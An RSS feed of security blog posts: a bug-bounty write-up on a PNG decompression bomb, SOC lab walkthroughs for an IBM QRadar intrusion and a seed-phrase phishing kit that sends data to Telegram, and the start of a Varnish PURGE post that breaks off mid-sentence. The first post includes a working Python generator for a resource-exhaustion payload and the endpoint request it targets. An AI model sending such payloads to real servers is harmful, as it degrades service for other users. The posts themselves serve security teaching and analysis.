<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mephisto on Medium]]></title>
        <description><![CDATA[Stories by Mephisto on Medium]]></description>
        <link>https://medium.com/@prabaswaradaffa2?source=rss-5dcc53ddc0b1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jszGKTuEd2n2Ciwu1YFsYg.jpeg</url>
            <title>Stories by Mephisto on Medium</title>
            <link>https://medium.com/@prabaswaradaffa2?source=rss-5dcc53ddc0b1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 09:23:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@prabaswaradaffa2/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[White Pixels, Big Problems: An Image Decompression Bomb Case Study]]></title>
            <link>https://medium.com/@prabaswaradaffa2/white-pixels-big-problems-an-image-decompression-bomb-case-study-b832b442f2de?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/b832b442f2de</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 07:19:29 GMT</pubDate>
            <atom:updated>2026-11-13T07:19:29.630Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frxgsnXSTbSzJ4ABDyXYrA.png" /></figure><p>While testing a profile picture upload feature on a web application, one simple question came to mind: <em>“Does the server actually validate image dimensions, or does it only check file size?”</em></p><p>Turns out my suspicion was right and the result was pretty interesting. With a PNG file that was only 1.5 MB, I managed to make the server take <strong>over 22 seconds</strong> to process a single request. In this write-up, I’ll walk through how I did it, why it happens, and why it’s still worth discussing even though the bug bounty program rejected the report.</p><h3>The Concept: What is a “Decompression Bomb”?</h3><p>Before diving into the technical details, let’s align on the concept first.</p><p>Image formats like PNG use compression. So an image filled with a solid color (say, pure white) can be compressed into a very small file, even though the image’s pixel dimensions are enormous.</p><p>A simple analogy: imagine you have a blank canvas the size of a football field, but since it’s just plain white, you can describe the entire thing with one sentence: “white canvas, 100x50 meters.” Simple, right? That’s roughly how image compression works under the hood.</p><p>The problem arises when a server receiving that image immediately decodes it fully into memory without first checking how large the actual dimensions are. The server will try to “redraw” every single pixel from that short description — and if the dimensions are absurdly large, it will consume a massive amount of RAM, even though the file sent was tiny.</p><p>This is called a decompression bomb — in the context of images, sometimes referred to as a “pixel flood.”</p><h3>Target &amp; Initial Observation</h3><p>I found a profile picture upload endpoint:</p><pre>PUT /rest/users/profile-picture<br>Content-Type: application/json<br>{&quot;image&quot;: &quot;data:image/png;base64,&lt;data&gt;&quot;}</pre><p>The first thing I noticed: the server accepts the image as <strong>base64 inside a JSON body</strong>, not a regular multipart upload. This means there’s no filename or extension validation at this layer — the only thing checked is the MIME type embedded in the data URI itself.</p><p>That made me suspicious: if only the MIME type is checked, what about validation of the file’s actual <strong>content</strong> — specifically, its dimensions?</p><h3>Crafting the Payload</h3><p>The payload is surprisingly easy to generate, just a few lines of Python:</p><pre>from PIL import Image<br>import base64<br>import io<br><br>dimension = 20000<br>img = Image.new(&#39;RGB&#39;, (dimension, dimension), color=&#39;white&#39;)<br>buffer = io.BytesIO()<br>img.save(buffer, format=&quot;PNG&quot;)<br><br>raw_size = len(buffer.getvalue())<br>b64_str = base64.b64encode(buffer.getvalue()).decode(&#39;utf-8&#39;)<br><br>print(f&quot;Dimensi: {dimension}x{dimension}&quot;)<br>print(f&quot;Ukuran file mentah: {raw_size / 1024:.2f} KB&quot;)<br>print(f&quot;Ukuran Base64 (payload): {len(b64_str) / 1024:.2f} KB&quot;)<br><br>if len(b64_str) &lt; 2000000: <br>    with open(&quot;payload_bomb_20k.txt&quot;, &quot;w&quot;) as f:<br>        f.write(f&#39;{{&quot;image&quot;:&quot;data:image/png;base64,{b64_str}&quot;}}&#39;)<br>    print(&quot;Berhasil dibuat dan disimpan ke payload_bomb_20k.txt&quot;)<br>else:<br>    print(&quot;Terlalu besar, coba turunkan dimensinya.&quot;)</pre><p>The trick lies in two key things:</p><ol><li><strong>Solid color</strong> (color=&#39;white&#39;) — maximizes PNG compression, keeping the base64-encoded file size small</li><li><strong>Progressively larger dimensions</strong> (10000x10000, then 20000x20000) — this is what “explodes” once decoded on the server</li></ol><h3>Test Results</h3><p>I gradually increased the dimensions while measuring response time using Burp Suite. Here’s what I found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/208/1*8J159Sl8hxMlXmU2xzpkgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/186/1*_s69kDfQxJ27XZajwcBiPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*l2iTtO8PYb66w3ibgsSsmw.png" /><figcaption>Result normal, 10.000Px, and 20.000Px</figcaption></figure><p>Take a close look: the payload only grew from a few KB to 1.5 MB (a few hundred times larger, at most), but the response time increased <strong>34x</strong> compared to the baseline. That’s clearly disproportionate — the only reasonable explanation is that the server was struggling to allocate memory for decoding an image of that size.</p><h3>Closing Thoughts</h3><p>I reported this finding to the relevant bug bounty program, but it was rejected because the “DoS/resource exhaustion” category falls outside their scope. Fair enough — that policy makes sense from the program’s perspective, since testing DoS on production carries real risk to availability for other users.</p><p>That said, from a technical standpoint, I still wanted to share this as a learning point — this kind of bug (missing dimension validation) is fairly common in image upload features, and often gets overlooked because validation efforts typically focus on file type or byte size, not the actual content/dimensions of the file itself.</p><blockquote>Thanks For Reading :)</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b832b442f2de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Qradar101] Investigating an Intrusion with IBM QRadar — CyberDefenders Labs]]></title>
            <link>https://medium.com/@prabaswaradaffa2/qradar101-investigating-an-intrusion-with-ibm-qradar-cyberdefenders-labs-a2a8c6662024?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2a8c6662024</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 07:59:38 GMT</pubDate>
            <atom:updated>2026-11-09T07:59:38.472Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Qradar101] Investigating an Intrusion with IBM QRadar — CyberDefenders Labs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9s9qj3_fVLZim72xiGg5w.png" /></figure><h3>Scenario</h3><p>A financial company was compromised, and they are looking for a security analyst to help them investigate the incident. The company suspects that an insider helped the attacker get into the network, but they have no evidence.</p><p>The initial analysis performed by the company’s team showed that many systems were compromised. Also, alerts indicate the use of well-known malicious tools in the network. As a SOC analyst, you are assigned to investigate the incident using QRadar SIEM and reconstruct the events carried out by the attacker.</p><p><strong>Dataset:</strong></p><ul><li>Sysmon (SwiftOnSecurity configuration)</li><li>PowerShell logging</li><li>Windows Event Log</li><li>Suricata IDS</li><li>Zeek logs (conn, HTTP)</li></ul><p><strong>Tools used:</strong> IBM QRadar Community Edition</p><p><strong>Q1: How many log sources are available?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0Kimvwb5OzNDZKEpC5g5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmuyvAs5pkUOPn6IvK5-2g.png" /></figure><p>The table lists every source feeding the SIEM: domain controller, finance, HR, IT and management workstations, the pfSense firewall, Suricata, and two Zeek sources. Counting the rows gives 15.</p><p><strong>Q2: What is the IDS software used to monitor the network?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2QQIXDsh4z-v5G-DQ_n7Tw.png" /></figure><p>The same log source table answers this. One entry is named <strong>SO-Suricata</strong> with the description “SecurityOnion Suricata” and the log source type <strong>Suricata</strong>.</p><p><strong>Q3: What is the domain name used in the network?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QlwHI4fj5a_7BFUAtbMyAw.png" /></figure><p>In <strong>Log Activity</strong>, I added a filter for successful Windows logons, which use Event ID <strong>4624.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isdhIVW5w3kJLzbcPP_Vog.png" /></figure><p>The results are “An account was successfully logged on” events from several hosts, including the domain controller (DC).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzVJ9bZeiniKeioSgPs9ZA.png" /></figure><p>Opening a DC event and reading the payload, the computer name is DC.hackdefend.local and the account domain is HACKDEFEND.</p><p><strong>Q4: Multiple IPs were communicating with the malicious server. One of them ends with “20”. What is the full IP?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*XoR8JJLPB8iFq72UXVAPuQ.png" /></figure><p>The event details show 192.168.20.20 as the address of that machine. This address also appears in the Suricata alerts and as a source IP in the Offenses list.</p><p><strong>Q5: What is the SID of the most frequent alert rule in the dataset?</strong></p><p>Suricata alerts carry a rule ID (SID) in their payload, so I filtered on it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P19wUp6VYLoE-y8OgpSO4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCHiCkwMWtsAe1Yhh9w8Bg.png" /></figure><p>The results are mostly <strong>NIDS Alert</strong> events from SO-Suricata, with the category &quot;Custom Policy High&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SebIQH31I_V5Bm7UT0Gmnw.png" /></figure><p>Opening one shows the custom fields. The rule is <strong>ET INFO Observed DNS Query to .cloud TLD</strong>, with <strong>RULE SID 2027865</strong>.</p><p><strong>Q6: What is the attacker’s IP address?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vqnsfZIqmUBLoHAI3WfMzA.png" /></figure><p>I switched to the <strong>Offenses</strong> tab and looked at the source IPs. Almost every address belongs to the internal network (the Location column shows internal network names). One stands out: <strong>192.20.80.25</strong>, located in the <strong>United States</strong>, with <strong>250 destinations</strong> tied to a single offense. A single external host reaching that many internal destinations looks like scanning.</p><p><strong>Q7: The attacker was searching for data belonging to one of the company’s projects. What is the name of the project?</strong></p><p>Searching the payloads for the word “project”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3-Gh5P4qpSzSgCecIhEOQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYq-FN3Snfgn0fQp6mdVcw.png" /></figure><p>This returned four events from the host HD-FIN-03, labeled &quot;Module Logging Command Invocation&quot; and &quot;Pipeline Execution Details For Command Line&quot;. Both are PowerShell logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zv21OOfNulj-5zUTS7-ekw.png" /></figure><p>In the payload, a Get-ChildItem command searches the user&#39;s folder (C:\Users\nour.HACKDEFEND) recursively with the filter <strong>project48</strong>.</p><p><strong>Q8: What is the IP address of the first infected machine?</strong></p><p>The PowerShell search for project48 came from the machine HD-FIN-03. Opening the event&#39;s Source and Destination details shows its source IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*QyS0j1o1NtPcRJkDmV4H4w.png" /></figure><p><strong>Q9: What is the username of the infected employee using 192.168.10.15?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*dC6ajUKyW8sLQ4oUyZzi5Q.png" /></figure><p>Opening one of them (&quot;Module Logging Command Invocation&quot;) and reading the Event Information shows the <strong>Username</strong> field: nour.</p><p><strong>Q10: Hackers do not like logging. What logging was the attacker checking to see if enabled?</strong></p><p>Looking at the infected host’s activity on the night of Nov 8, the HD-FIN-03 events between about 10:38 PM and 10:56 PM are “PowerShell Console Ready”, “PowerShell Console Started”, and many “Module Logging Command Invocation” records. These are PowerShell logging events, so PowerShell logging is the logging in question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFIUK8Z5dPcAEBmYRXyaSQ.png" /></figure><p>At 10:56 PM the same host also shows a Kerberos service ticket and a logon on the domain controller, the first sign of this machine reaching toward the DC.</p><p><strong>Q11: What is the name of the second system the attacker targeted to cover up the employee?</strong></p><p>To find clean-up activity, I searched process command lines for del:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oA2qEq0k_QFpcsuwgZtkhA.png" /></figure><p>The one on <strong>MGNT-01</strong> is the answer.</p><p><strong>Q12: When was the first malicious connection to the domain controller (log start time, hh:mm:ss)?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qs1oOHXikdhW3sL5UeXOsA.png" /></figure><p>The first connection toward the DC is the highlighted event from HD-FIN-03 at <strong>11:14:10 PM</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hsPCV9DqCjORHrqNEPYrg.png" /></figure><p>Opening its payload shows why it stands out: notepad.exe (C:\Windows\SysWOW64\notepad.exe), running as HACKDEFEND\nour, connected from 192.168.10.15 to 192.168.20.20</p><p><strong>Q13: What is the MD5 hash of the malicious file?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZTpqdjX9zNynjeoNFDZ7Pw.png" /></figure><p>In the events from the infected host, a Zeek HTTP request from 192.168.10.15 at 10:25 PM is followed shortly after by Sysmon <strong>FileCreateStreamHash.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhyzVb5ww6K1C_DFsQVfPw.png" /></figure><p>Opening one shows the details: Firefox (firefox.exe) created the file C:\Users\nour.HACKDEFEND\Downloads\important_instructions.docx, and the event records its hash:</p><p>MD5=9D08221599FCD9D35D11F9CBD6A0DEA3</p><p><strong>Q14: What is the MITRE persistence technique ID used by the attacker?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVvJ-yaUTm1vIJEFrKHpnA.png" /></figure><p>I looked for registry changes made by PowerShell. One event shows powershell.exe writing a value under: HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\SsGHOMcjsj</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qBmEiu9LGzZ6F26wMdrcYA.png" /></figure><p>Searching the MITRE ATT&amp;CK site for “windows current version” leads to <strong>Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</strong>, technique <strong>T1547.001</strong>.</p><p><strong>Q15: What protocol is used to perform host discovery?</strong></p><p>Starting from the infected host’s traffic, I added a protocol filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*aXxQ9pxW1kQYblSsySS8ig.png" /></figure><p>Host discovery usually uses ICMP echo requests (ping) to see which machines respond.</p><p><strong>Q16: What is the email service used by the company? (one word)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeZ06UtJyzUMV5LMkyo9yA.png" /></figure><p>In the Zeek connection logs, the domain controller (192.168.20.20) makes DNS lookups (port 53).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tj9eDcRtgq7jdIhp1NDlqw.png" /></figure><p>An IP lookup on 13.107.252.10 shows it belongs to <strong>Microsoft Corporation</strong> in Redmond, Washington. These are Microsoft cloud ranges, and the company&#39;s mail service is Office 365.</p><p><strong>Q17: What is the name of the malicious file used for the initial infection?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_gnl3jaWLhCuj80-1ikXtg.png" /></figure><p>This comes straight from the Sysmon <strong>FileCreateStreamHash</strong> event on HD-FIN-03 that I found in (Q13). The payload shows Firefox creating a file in the user&#39;s Downloads folder: C:\Users\nour.HACKDEFEND\Downloads\important_instructions.docx</p><p><strong>Q18: What is the name of the new account added by the attacker?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhX-2Y1yf9AlGnTA2WsgEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*h4jYQpqvMig9sPHnkpxpIg.png" /></figure><p>Windows logs the creation of a user account as Event ID <strong>4720</strong>. Searching for that ID returns one event on the DC, “Success Audit: A user account was created”, in the category <strong>User Account Added</strong>, performed by Administrator . Opening the event and reading the custom fields, <strong>AccountName</strong> is rambo.</p><p><strong>Q19: What is the PID of the process that performed injection?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fStXnxoKAWbZ1iwOAgHImw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x8wiHilm1nSlA0RaLivP9w.png" /></figure><p>Sysmon records code injection with Event ID <strong>8 (CreateRemoteThread)</strong>. I filtered for it: EventID (custom) → Equals any of → 8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQm0xHLCsq3zo7-NPKYWDg.png" /></figure><p>The results are CreateRemoteThread events from several hosts. I opened the one from HD-FIN-03 (192.168.10.15).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ysqx5prckFMCQh5WCdXmFQ.png" /></figure><p>That explains why a text editor was behaving strangely: code had been injected into it. The injecting program is a randomly named executable sitting in the user’s profile folder. Payload of the CreateRemoteThread event.</p><p>Answer: 7384</p><p><strong>Q20: What is the name of the tool used for lateral movement?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xHTFbXqQzVmZyc0LjL6CFA.png" /></figure><p>First, it queries the registry for PowerShell Script Block Logging, the same logging the attacker was checking in (Q10). Second, the command writes its output to a file named with a timestamp inside the ADMIN$ share on 127.0.0.1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjrlXdmGvO2ObvnaZoeyGQ.png" /></figure><p>To confirm, I checked the MITRE ATT&amp;CK entry for Impacket (S0357), described as a Python collection for working with network protocols, with tools for remote service execution, Kerberos manipulation, and credential dumping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMoHZrOePEoNNiA29aINXQ.png" /></figure><p>The Impacket repository includes a script for this called wmiexec.py in its examples folder.</p><p><strong>Q21: The attacker exfiltrated one file. What is the name of the tool used for exfiltration?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_iMEop3Jh8trtyU07AWmAw.png" /></figure><p>There are four alerts, and the highlighted one is an outbound connection from 192.168.10.29 to 192.20.80.25 on port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nab0SM-nBQItsRsST2sSLA.png" /></figure><p>Opening it shows the rule: ET POLICY curl User-Agent Outbound (SID 2013028), in the category “Attempted Information Leak”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gk30DM0bybFJ7q34l0Nj7g.png" /></figure><p>The packet payload confirms it: User-Agent: curl/7.55.1, with a PUT request carrying about 43 KB of data.</p><p><strong>Q22: Who is the other legitimate domain admin besides the Administrator?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-JtEum-HRibWJvV-XdSpiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdLMEf47NICThf_UVYfmbQ.png" /></figure><p>Looking at the Username column, most rows are empty, but two names appear: Administrator and Adam.</p><p><strong>Q23: The attacker used host discovery to see how many hosts were available in a network. Which network did the hacker scan from host IP 1 to 30?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i2pIOkFC5V3FP0vf2r9VfA.png" /></figure><p>I went back to the Zeek connection records from the infected host (192.168.10.15). There is a steady series of one-per-few-seconds connections, one for each address from 192.168.20.1 up to 192.168.20.30. The source port column shows 8, which in Zeek’s ICMP records is the echo request type, so this is a ping sweep.</p><p><strong>Q24: What is the name of the employee who hired the attacker?</strong></p><p>The exfiltrated file from Q21 is the clue. The payload of the Suricata alert shows the request line:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_9GlMDCPe4OXP0-t-_fGg.png" /></figure><p>The file was sent from 192.168.10.29 to the attacker. Its name points to the insider the company suspected in the scenario.</p><blockquote>Thanks for reading</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2a8c6662024" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[GrapThePhisher] How a Phishing Kit Steals Seed Phrases via Telegram — CyberDefenders Labs]]></title>
            <link>https://medium.com/@prabaswaradaffa2/grapthephisher-how-a-phishing-kit-steals-seed-phrases-via-telegram-cyberdefenders-labs-48432d407053?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/48432d407053</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 09:00:01 GMT</pubDate>
            <atom:updated>2026-11-06T09:00:01.787Z</atom:updated>
            <content:encoded><![CDATA[<h3>[GrapThePhisher] How a Phishing Kit Steals Seed Phrases via Telegram — CyberDefenders Labs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkoKyb40_SHoypTGgs8fRQ.png" /></figure><h3>Scenario</h3><p>A decentralized finance (DeFi) platform recently reported multiple user complaints about unauthorized fund withdrawals. A forensic review uncovered a phishing site impersonating the legitimate PancakeSwap exchange, luring victims into entering their wallet seed phrases. The phishing kit was hosted on a compromised server and exfiltrated credentials via a Telegram bot.</p><p>The task is to conduct threat intelligence analysis on the phishing infrastructure, identify indicators of compromise (IoCs), and track the attacker’s online presence, including aliases and Telegram identifiers, to understand their tactics, techniques, and procedures (TTPs).</p><p><strong>Tools used:</strong> Kali Linux, unzip, cat, grep, a web browser <strong>Evidence:</strong> 95-GrabThePhisher.zip</p><h3>Setting Up Safely</h3><p>The lab provides a single archive. The password for the archive is cyberdefenders.org, so I extracted it from the Downloads folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*m5QqN5KirBl2f3LwZJnhJw.png" /></figure><h3>Q1: Which wallet is used for asking the seed phrase?</h3><h3>How I solved it</h3><p>After moving into the extracted folder, I listed its contents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*cminGx07X5z7KxqojUjsFA.png" /></figure><p>The kit contains the usual website pieces (index.html, images, _next, src), plus two unusual folders: <strong>log</strong> and <strong>metamask</strong>. The folder name is the first hint about which wallet the kit targets.</p><p>Directory listing of the phishing kit</p><p>Looking deeper, the metamask folder holds an index.html page, a fonts folder, and a PHP script called metamask.php. In that script, the message the kit builds for the attacker contains the line Wallet: Metamask, which confirms it.</p><h3>Q2: What is the file name that has the code for the phishing kit?</h3><h3>How I solved it</h3><p>Inside the metamask folder, the only script is metamask.php. I read it with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzmmOe9Tp8u7cDjbqNj5aw.png" /></figure><p>This file contains the whole logic of the kit: it looks up the victim’s location, builds a message, sends it out, and saves a local copy. Everything else in the project is front-end decoration.Reading metamask.php</p><h3>Q3: In which language was the kit written?</h3><h3>How I solved it</h3><p>The same file answers this. It begins with the &lt;?php opening tag, uses PHP-only constructs like $_POST, $_SERVER, and file_get_contents(), and has the .php extension.</p><h3>Q4: What service does the kit use to retrieve the victim’s machine information?</h3><h3>How I solved it</h3><p>The first thing the script does is look up where the visitor is. The top of metamask.php shows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34Ym4-YVyS19qTNePT_kjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C9H-_zqmCSXtZzkxXKmf8Q.png" /></figure><p>Here, $_SERVER[&#39;REMOTE_ADDR&#39;] is the victim&#39;s IP address, which gets appended to a request to api.sypexgeo.net. The JSON reply is then decoded to pull out the victim&#39;s country and city.</p><p>The Sypex Geo request at the top of the script</p><p>To be sure what this service is, I visited sypexgeo.net. It is a Russian-language product whose tagline describes it as the fastest way to determine a location from an IP address, which matches how the kit uses it.</p><h3>Q5: How many seed phrases were already collected?</h3><h3>How I solved it</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*AtRFikU12Y-pAC1nPbjj2A.png" /></figure><p>That line tells us the log lives at /log/log.txt relative to the web root, and FILE_APPEND means new entries are added to the end of the file instead of overwriting it.</p><p>Back in the kit’s folder, I saw the log directory from earlier. Trying cat log gave &quot;Is a directory&quot;, so I entered it and read the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*kFalFGVgk59b_zD1O0eBgA.png" /></figure><p>The file contains three lines, and each line is a 12-word seed phrase: Three lines means three victims whose phrases had already been captured.</p><h3>Q6: What is the seed phrase associated with the most recent phishing incident?</h3><h3>How I solved it</h3><p>Because the script uses FILE_APPEND, entries are saved in chronological order, so the <strong>last line</strong> of log.txt is the most recent victim. The final phrase in the file is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*n0VKWWZel3zOq014YstEiA.png" /></figure><h3>Q7: Which medium was used for credential dumping?</h3><h3>How I solved it</h3><p>Back in metamask.php, the sendTel() function builds a URL starting with https://api.telegram.org/bot and calls file_get_contents() on it. This is the Telegram Bot API: the kit sends every stolen phrase (with the wallet name, IP address, country, city, and browser User-Agent) as a Telegram message to the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*DvwhI9eG1XMvUHsvmdA1Pg.png" /></figure><h3>Q8: What is the token for accessing the channel?</h3><h3>How I solved it</h3><p>A Telegram bot needs a token to send messages, and the kit hardcodes it. Rather than scrolling through the file, I searched for the keyword:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j6PMfMOusnwVXXqGX6y70w.png" /></figure><p>This shows the line that assigns the $token variable, and the same variable being inserted into the API URL right after it.</p><h3>Q9: What is the Chat ID for the phisher’s channel?</h3><h3>How I solved it</h3><p>Telegram’s sendMessage method needs two things: the bot token and the destination chat_id. The kit stores the destination in the $id variable, so I used the same technique:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*zCm9GqgdLvI73LgAn46pJg.png" /></figure><p>The match at the top is $id = &quot;5442785564&quot;;, and it is the same $id that ends up in the chat_id= part of the URL.</p><h3>Q10: What are the allies of the phish kit developer?</h3><h3>How I solved it</h3><p>Phishing kit authors often leave a signature. Reading the top of metamask.php again, a block comment sits above the main logic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*Whwj3e6LHWb_himwz4vHeA.png" /></figure><p>The comment shows the kit is shared with other criminals as a “gift”, and signs it with the handle <strong>j1j1b1s@m3r0</strong>. For threat intelligence, a handle like this is valuable: it can be searched on Telegram, forums, and code-sharing sites to link the author to other kits and activity.</p><blockquote>THANKS FOR READING</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48432d407053" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Unauthenticated Varnish Cache PURGE: A Bug Bounty Methodology]]></title>
            <link>https://medium.com/@prabaswaradaffa2/hunting-unauthenticated-varnish-cache-purge-a-bug-bounty-methodology-907bef7f0ec5?source=rss-5dcc53ddc0b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/907bef7f0ec5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[Mephisto]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 16:23:17 GMT</pubDate>
            <atom:updated>2026-10-24T16:26:55.352Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cmpxMlmp1lqFzS88PZt__A.png" /></figure><p>How I found a cache manipulation vulnerability that often slips under the radar — and a lesson about honest severity assessment.</p><h3>Introduction</h3><p>While doing reconnaissance on a bug bounty target, I came across a simple but often-overlooked configuration flaw: <strong>a caching endpoint that accepted a non-standard HTTP method with zero authentication</strong>. This write-up walks through the technique I used to find it, how I validated its impact proportionally, and an important lesson about severity assessment that came out of the submission process.</p><p>Note: the target’s name is intentionally withheld, as this was a private/policy-restricted program. The focus here is purely on technique and methodology, not a specific disclosure.</p><h3>What is Varnish PURGE?</h3><p>Varnish Cache is an HTTP reverse proxy widely used by large sites to speed up response times by storing cached copies of content. One of its operational features is the PURGE method — used internally by teams to invalidate specific cache entries, typically after content updates.</p><p>The catch: PURGE isn’t a standard HTTP method (unlike GET, POST, PUT). Because of that, it’s often <strong>missed by access control configurations</strong>, which usually only account for common methods. Developers frequently forget to restrict who is allowed to send it.</p><h3>Step 1: Fingerprinting the Cache Layer</h3><p>Before attempting anything, the first step is confirming whether the target actually runs Varnish:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*FVu1007DhjzJSsO3SjzTPA.png" /></figure><p>These headers are often dismissed by developers as “just performance info,” but they actually leak the caching architecture to anyone paying attention.</p><h3>Step 2: Testing the Non-Standard Method</h3><p>Once Varnish was confirmed, I tested whether the PURGE method was accepted without any credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*d2ARUOwvR4CTTGlLL0tMfQ.png" /></figure><p><strong>Why the cache-buster parameter 